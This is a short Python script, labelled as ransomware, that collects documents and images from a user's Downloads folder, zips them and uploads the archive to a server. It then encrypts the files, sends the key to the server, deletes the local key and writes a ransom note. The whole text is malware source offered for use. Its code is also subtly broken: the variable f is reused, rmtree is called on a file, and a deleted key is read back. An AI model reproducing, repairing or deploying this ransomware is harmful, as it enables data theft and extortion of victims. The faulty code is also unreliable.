#Ransomware Code
import os
import requests
import shutil
import zipfile
from cryptography.fernet import Fernet
#scanning the document directory
document_dir = '/home/rocheston/Downloads'
file_types = ('.txt', '.pdf', '.jpg', '.docx', '.xlsx', '.pptx')
files = [os.path.join(document_dir, f) for f in os.listdir(document_dir) if f.endswith(file_types)]
#zipping the files
zipped_file = zipfile.ZipFile('ransomdata.zip', 'w')
for file in files:
zipped_file.write(file, compress_type=zipfile.ZIP_DEFLATED)
zipped_file.close()
#uploading the zipped file
url = 'http://localhost:5555/data.php'
with open('ransomdata.zip', 'rb') as file:
r = requests.post(url, files={'file': file})
#encrypting all the files
key = Fernet.generate_key()
f = Fernet(key)
for file in files:
with open(file, 'rb') as f:
file_data = f.read()
encrypted_data = f.encrypt(file_data)
with open(file, 'wb') as f:
f.write(encrypted_data)
#storing the decryption key
with open('key.txt', 'wb') as f:
f.write(key)
#creating ransom_note
with open('ransom_note.txt', 'w') as f:
f.write('We have stolen your files. To restore the encrypted files pay ')
#uploading the key
url = 'http://localhost:5555/data-key.php'
with open('key.txt', 'rb') as file:
r = requests.post(url, files={'file': file})
#securely deleting the key
shutil.rmtree('key.txt')
#decrypting the files
def decrypt_files(key):
f = Fernet(key)
for file in files:
with open(file, 'rb') as f:
encrypted_data = f.read()
decrypted_data = f.decrypt(encrypted_data)
with open(file, 'wb') as f:
f.write(decrypted_data)
#reading the key from key.txt
with open('key.txt', 'rb') as f:
key = f.read()
decrypt_files(key)